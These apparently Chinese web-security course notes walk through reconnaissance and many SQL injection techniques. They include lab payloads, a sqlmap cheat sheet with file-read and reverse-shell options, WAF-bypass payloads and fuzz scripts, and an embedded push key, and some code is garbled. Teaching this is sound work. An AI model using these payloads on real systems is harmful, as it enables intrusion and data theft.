# 不存在爬取全部
datas = []
requests.packages.urllib3.disable_warnings()
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&order=desc",headers=headers1, verify=False)
response2 =requests.get(url="https://api.github.com/search/repositories?q=ctcms&ssort=updated&order=desc", headers=headers1,verify=False)
data1 = json.loads(response1.text)
data2 = json.loads(response2.text)
for j in [data1['items'], data2['items']]:
for i in j:
s = {"name": i['name'], "html": i['html_url'], "description": i['description']}
s1 = [i['name'], i['html_url'], i['description']]
if s1 not in datas:
# print(s1)
# print(datas)
params = {
"text": s["name"],
"desp": "链接:" + str(s["html"]) + "\n简介" + str(s["description"])
}
print("当前推送为" + str(s) + "\n")
# print(params)
requests.packages.urllib3.disable_warnings()
requests.get("https://sct.ftqq.com/SendKeySCT70049T99iUjjK1W7SP73HNAz1vbgNd.send", params=params, headers=headers1, timeout=10, verify=False)
time.sleep(1)
# 以防推送太快
print("推送成功!\n")
datas.append(s1)
else:
pass
print("数据已经存在!")
pd.DataFrame(datas).to_csv("olddata.csv", header=Nonne, Index=None)
time.sleep(time_sleep)
使用之前还要申请一个Sever酱的推送,扫码登录就行,直接推送到微信上;
然后运行代码,就可以推送到手机微信上了;
1. 通过DNS解析记录
看域名上曾经有哪些东西被解析过。
2.通过HTTPS证书日志搜集
通过证书也可以查到域名信息;
3.通过搜索引擎
比如谷歌、百度这种正经点的搜索网站,或者使用fofa、shodan、zoomeye等这些黑暗引擎来查询一些信息;
4.枚举
就是采用暴力破解,关键是字典、速度—多线程、dns服务器选择;
5.利用漏洞
不常使用,讲解较少;
6.从主站爬取
在一些网站的下面会有一些导航,这个导航可能会把一些网站的子域名导航出来;
7.whois查询和关联查询
8.IP反查域名
枚举爆破或解析子域名对应
便于发现管理员相关的注册信息
1.黑暗引擎实现域名端口收集
FOFA搜索
shodan搜索
ZoomEye(钟馗之眼)搜索
2.全自动域名收集脚本
3.SRC目标中的信息收集全覆盖
4.利用其他第三方接口获取更多信息
前言:讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。
CTF,SRC,红蓝对抗,实战等。
每个漏洞的危害情况都是不同的,得到的东西也不同,影响范围也不一样;
例如:SQL注入直接获取到关于网站对应数据库里面的权限,将会影响到网站和服务器数据库,获得权限;
高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行(直接影响到网站权限,获得数据或者网站很敏感的东西)
中危漏洞:反序列化、逻辑安全
低危漏洞:XSS跨站、目录遍历、文件读取
漏洞的等级决定漏洞的重要程度,高危漏洞是重点;
从几个方面来说一下每个方面的漏洞重点,
CTF:文件上传、SQL注入、反序列化、代码执行
SRC:以上图片的漏洞都有,比较多的有逻辑安全
红蓝对抗:涉及到高危漏洞;
随着安全的发展,漏洞只会越来越少,但是不是完全没有,自己找不到漏洞是因为没有做好信息收集,原理没学好,测试的时候会出问题,找不到漏洞也是自己学习没到位;
1.SQL注入—数据库操作危害
用phpstudy搭建环境,使用pikachu靶场,用里面的SQL注入模块做测试;
使用SQL语句,来实行SQL注入
这类漏洞获取管理员账号密码,通过注入点和数据库数据有联系;
2.目录遍历漏洞—源码结构泄露危害
目录遍历的靶场
对比一下网站地址,做一些分析,例如:“=”后面是参数值
如果在文件夹下新建一个php文件,修改参数和参数名,就可以访问到新建的文件
如果我们想来到网站的根目录WWW
问题:已知http://127.0.0.1/pikachu-master/vul/dir/dir_list.php?title=1.php
获取的是D:\phpStudy\PHPTutorial\WWW\pikachu-master\vul\dir\soup\1.php的代码
那么获取下面的网站该怎么写?
D:\phpStudy\PHPTutorial\WWW\yy.php
获取这个yy.php的代码
目录遍历需要知道目录地址,不需要目录结构;
如何知道目录地址,需要目录爆破加网站模板加经验;
采用工具也可以去扫描的,扫描之前还要看看有没有安全狗,有安全狗的话,会直接把你拉黑,拒绝访问;
可以显示文件和文件夹的名字,但是不能得到文件里面的内容;
还有一种目录遍历是:php遍历一个文件夹下所有文件和子文件的方法
执行代码
function my_dir($dir) {
$files = [];
if(@$handle = opendir($dir)) {
while(($file = readdir($handle)) !== false) {
if($file != ".." && $file != ".") {
if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
$files[$file] = my_dir($dir . "/" . $file);
} else {
$files[] = $file;
}
}
}
closedir($handle);
}
return $files;
}
echo ""
;
print_r(my_dir("./"));
echo "
";
不能得到目录结构,但是能获取到单个文件的内容
文件上传就是上传一个文件到对方的网站,拿到对方权限会留后门,将后门文件上传到网站目录下面去,能够直接植入后门;
文件上传漏洞是一个高危漏洞,直接影响网站权限,直接植入后门;
前言:在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
大部分的SQL注入是对数据库中的数据进行操作,绕过查询、更新或者是删除;
SQL注入可以操作数据,通过SQL注入直接进行后门的写入;
两个危害:一个是危害数据库中的数据,另一个直接危害网站权限;
注:这一块讲解的知识点,和演示案例1有很多相似的地方;
可控变量,带入数据库查询,变量未存在过滤或者过滤不严谨
像下面这个变量id就是可控变量,通过参数传递,可以对id进行变化;
另外如果没有上面图中的mysql_query这个语句去执行的话,也不能成功,带入数据库才行;
课上提问:
答案是1、2、3;
需要可以控制变量,需要有参数,加不加index.php其实访问的页面都一样;答案4也可以,这里暂时不讲;
课上提问:
答案是2、3;
答案1,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
答案4,都没有参数x,怎么可能会有注入;
搭建的是sqlilabs,我自己在本机上搭建了很久,phpstudy就是运行不起来,没办法直接拖入虚拟机里搭建了;
基本上sql注入都可以在这里学习;
表名 tables | ||
---|---|---|
列名 | ||
数据 | ||
数据库B=网站B | ||
………… | ||
数据库C=网站C | ||
………… | ||
一层一层查询; |
- 简易代码分析 SQL 注入原理
SQL注入原理:通过参数的传递,传递数据过去,拼接到之前定义好的SQL语句中去,由于能拼接,将一些恶意的SQL语句拼接上去,语句就会进行一些重新的用法,实现自定义的查询;
补充:为什么图片里面的id=-2,因为我们要查询的表是另外一个,所以要把前面的查询语句置否,然后数据库就会执行后面那句;
因为这里的id=$id,是变量可以修改,如果给定了一个值,就不可以去执行,没办法进行操作;
2.墨者靶机真实MYSQL注入演示
新办法:
select * from users where id=1dadaavaz LIMIT 0,1
这样输入,如果对网站有影响,证明他代入数据库查询了,证明了会有漏洞;
如果报了404错误,说明检测了,但是没有漏洞;
219.153.49.228:42123/new_list.php?id=1 order by 4
报错猜解准备
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
2和3有显示位,数据出来可以看见
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
必要知识点:
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询指定数据
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
MD5解密password,得到密码
猜解多个数据可以采用limit x,1
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
解题成功
前言:MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
可以看到这个用户名时是root,是最高权限,除root之外都是普通用户
1.跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点,
information_shema表特性,记录库名、表名、列名对应表;
如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加;
如下:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’
跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表;
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。
load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
1.报错显示
网站出现错误时,会显示路径;
2.遗留文件
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;
3.漏洞报错
知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
4.平台位置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
1.常见读取文件列表
2.常见写入文件问题:魔术引导开关
magic_quotes_gpc
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的。
1.魔术引导及常见防护
可以采用编码或者宽字节,把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析;
2.采用内置函数进行防护
还有更多内置函数也可以进行防护;
正常情况遇到的不多;
3.自定义关键字:select
i d = s t r r e p l a c e ( ′ s e l e c t ′ , ′ f u c k ′ , id = str_replace('select','fuck', id=strreplace(′select′,′fuck′,id);
将select转换成fuck;
字典或读取;
暴力查询或结合读取查询;
sqlmap下的字典
前言:在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:',",%,),}等,具体需看写法
GET、POST、COOKIE、REQUEST、HTTP头等;
不同的请求方式,请求的数据类型、大小都不一样;
这个网站请求方法出现漏洞,要按照请求方法上,去测试注入;
1.GET请求
编写php代码,实现GET请求的演示
可以看到GET请求
2.POST请求
单纯的在get后面对p做请求是没办法回应的,必须做POST请求;
hackbar有工具可以去做POST请求,抓包看一下;
上图可以看到POST请求成功;
4.REQUEST请求
REQUEST请求是全部接收,POST、GET和COOKIE的数据全部接收;
我们不清楚对方的接收方式,如果使用request请求,就不用管是什么请求方法,因为request全部接收;
5._SERVER[’ HTTP_USER_AGENT ']
是php的全局变量,用来获取系统的一些值,一些信息;
SERVER详解
可以在网站的数据包查询注入,在http数据包里面注入,就是HTTP头部注入;
1)参数字符型注入测试=>sqlilabs less 5 6
因为是讲解,我们直接观察php源码;
id上面有单引号;
注入的时候需要把单引号释放出来
然后开始注入,需要把单引号给注释掉;
采用以下注入方法;
查看注入,另后面的数字不相等,开始报错,所以有注入;
3)COOKIE 数据提交注入测试=>sqlilabs less 20
打开靶场
改写语句,观察SQL语句;
这里观察php源代码,对POST注入会有过滤,所以采用cookie注入;
抓取数据包,采用cookie注入,爆破出了数据;
4)HTTP 头部参数数据注入测试=>sqlilabs less 18
打开靶场,出现了我的IP,这个页面可以检测我的IP,所以就是SERVER服务;
观察php源代码,发现查询方式是insert
抓取数据包,尝试注入点;
5)参数 JSON 数据注入测试=>本地环境代码演示
JSON的格式
对JSON进行注入测试
经常出现在APP中
测试网址
点击选项,抓包看一下,下面红色的JSON的数据包,更改冒号后的数据,进行注入;
把测试语句,写到双引号里面;
Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等;
数据库架构组成、数据库高权限操作;
除了access以外,其他数据库在组成方面都是
access数据库与其他数据库不同,它就只有自己一个数据库,往下没有数据库;
access数据库独立存在,每个网站都有自己的accsess数据库,所以没办法使用跨库注入;
access也不需要查询数据库名;
access很多功能都没有,例如文件读取;
access | |||
---|---|---|---|
表名 | |||
列名 | |||
数据 |
提问:什么决定了网站注入点用户权限
回答:当前网站的数据库用户,数据库的配置文件是谁连接的
1)Access注入介绍
2)Mssql注入介绍
基本操作笔记:
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
前言:当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句;
1)select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
2)insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,‘$t’)
3)delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
4)update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=‘$p’ where id=2 and username=‘admin’
5)order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1)基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2)基于时间的 SQL 盲注-延时判断
if,sleep
3)基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
报错回显
参考:
like 'ro%' #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 9
1)各种查询方式注入测试(报错盲注)
打开靶场pikachu抓包注入
payload:
1.username=x’ or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
2.username=x’ or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
3.username=x’ or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
payload update:
1.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submit
2.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or
updatexml(1,concat(0x7e,(version())),0) or ‘&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky’ or extractvalue(1,concat(0x7e,database())) or ’ &email=wuhan&submit=submit
payload delete:
1./pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
2.pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
3./pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
2)sqlilabs-less2 注入测试(延时盲注)
延时盲注:
1.and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
2.and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
用ASCII码可以防止引号转义;
3)sqlilabs-less5 注入测试(布尔盲注)
1)加解密注入
提交方法(post、get等)传递的参数被加密了,然后传递给服务器,加密方式有base64等;
网站上的参数如果加密了,注入的语句也要进行加密,才能实现注入,否则会注入失败;
2)二次注入
二次注入无法通过扫描工具实现的,需要代码审计的时候才能发现,不好触发,无法在黑盒测试中使用;
注册一个包含恶意代码的用户,然后网站调用用户名的时候恶意代码就会执行;
3) DNSlog注入
DNSlog注入需要注入点是高权限;
首先自己需要创建一个可以配置的域名,我们这里用的是ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
也可以采用工具dnslogSqlinj,下载地址
DNSlog:解决了盲注不能回显数据,效率低的问题;
1.sqlilabs-less21-cookie&加解密注入(实际案例)
2.sqlilabs-less24-post 登陆框&二次注入(实际案例)
实战情况下有长度限制,分为前端限制和后端限制;
前端限制是写在html里面的,会有长度限制,但是可以修改的;
后端限制是在php里面的,无法突破;
二次注入需要配合代码,实战情况下很多东西都是未知的,不知道什么时候能触发二次注入;
3.sqlilabs-less9-load_file&dnslog 带外注入(实际案例)
4.py-DnslogSqlinj-dnslog 注入演示脚本演示(实际案例)
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
堆叠注入是多条语句注入,堆叠注入不是每个数据库都支持的,堆叠注入是有局限性的;
参考链接:https://www.freesion.com/article/15621202542/
市面上常见的 waf 产品列表分析-wafw00
1.可以加一些符号,绕过匹配规则;
每个数据库特殊符号都不一样;拦截的是一个整体,实现拆封就可以绕过;
2.大小写/关键字替换;
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
3.各种编码
大小写,URL,hex,%0A 等
4.注释使用
// – --+ # // + :%00 /!/等
a写在这里因为安全狗没有拦截union a select
5.再次循环
union==uunionnion
6.等价替换
user()=@@user() and=& or=| ascii=hex 等
7.参数污染
?id=1&id=2&id=3
8.编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
9.更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
模糊测试(fuzz)
fuzz不是技术是思路。通过编写脚本进行批量测试。
1.Sqlilabs-Less38-堆叠注入(多语句)
构造payload:
http://192.168.74.144/sqli-labs-master/Less-38/?id=1’;insert into users(id,username,password) values (‘38’,‘less38’,‘hello’)–+
成功创建一个新用户;
例:注入需要管理员账号密码,密码是加密的,无法解密;
堆叠注入进行插入数据,用户密码自定义的,可以正常解决登录;
2. WAF部署-安全狗,宝塔等waf搭建部署
搭建成功
3. 简要讲解安全狗,宝塔等防护waf策略规则
是通过网站防护、资源防护等手段来保护网站的。
会对关键字进行匹配,来保护网站
4. 简要演示安全狗 bypass sqlinject 防护规则
部分 bypass sqlinject payload
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!/!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/!44509select/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/!database/(),3%23
id=1/&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase//(),3%23
1.https://www.cnblogs.com/backlion/p/9721687.html
2.https://blog.csdn.net/nzjdsds/article/details/93740686
前言:在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
1.数据库特性
1、Mysql 技巧
(1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
2.FUZZ绕过脚本
#!/usr/bin/envpython
"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__=PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))
def tamper(payload,**kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload=payload.replace("union","%23a%0aunion")
payload=payload.replace("select","/*!44575select*/")
payload=payload.replace("%20","%23a%0a")
payload=payload.replace("","%23a%0a")
payload=payload.replace("database()","database%23a%0a()")
return payload
import requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
for xiaodi in a:
for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500,44600):
urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
try:
result=requests.get(urls).text
len_r=len(result)
if (result.find('safedog')==-1):
#print('bypass url addreess:'+urls+'|'+str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt','a+')
fp.write(urls+'\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1)
if__name__=='__main__':
print('fuzz strat!')
bypass()
3.伪造成百度爬虫脚本
import json
import requests
url='http://192.168.0.103:8080/'
head={
'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
data=data.replace('\n','')
urls=url+data
code=requests.get(urls).status_code
print(urls+'|'+str(code))
1.简要其他绕过方式学习
